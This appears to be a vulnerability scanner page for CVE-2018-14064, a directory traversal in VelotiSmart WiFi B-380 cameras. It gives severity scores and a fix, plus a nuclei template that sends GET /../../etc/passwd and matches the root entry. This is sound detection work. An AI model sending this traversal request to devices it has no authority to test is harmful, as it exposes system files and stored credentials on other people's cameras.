VelotiSmart Wifi - Directory Traversal

criticalseverity

9.8CVSS score

37.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

VelotiSmart WiFi B-380 camera devices allow directory traversal via the uc-http service 1.0.0, as demonstrated by /../../etc/passwd on TCP port 80.

Impact

Unauthenticated attackers can read arbitrary files on the VelotiSmart WiFi B-380 camera device through directory traversal, potentially exposing sensitive configuration files, stored credentials, and system information.

Fix

Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in VelotiSmart Wifi.

How to confirm it

Send: GET {{BaseURL}}/../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-14064 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-14064

info:
  name: VelotiSmart Wifi - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: VelotiSmart WiFi B-380 camera devices allow directory traversal via the uc-http service 1.0.0, as demonstrated by /../../etc/passwd on TCP port 80.
  impact: |
    Unauthenticated attackers can read arbitrary files on the VelotiSmart WiFi B-380 camera device through directory traversal, potentially exposing sensitive configuration files, stored credentials, and system information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in VelotiSmart Wifi.
  reference:
    - https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac
    - https://www.exploit-db.com/exploits/45030
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14064
    - https://medium.com/%40s1kr10s/velotismart-0day-ca5056bcdcac
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-14064
    cwe-id: CWE-22
    epss-score: 0.37177
    epss-percentile: 0.98532
    cpe: cpe:2.3:o:velotismart_project:velotismart_wifi_firmware:b-380:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: velotismart_project
    product: velotismart_wifi_firmware
  tags: cve2018,cve,edb,lfi,camera,iot,velotismart_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

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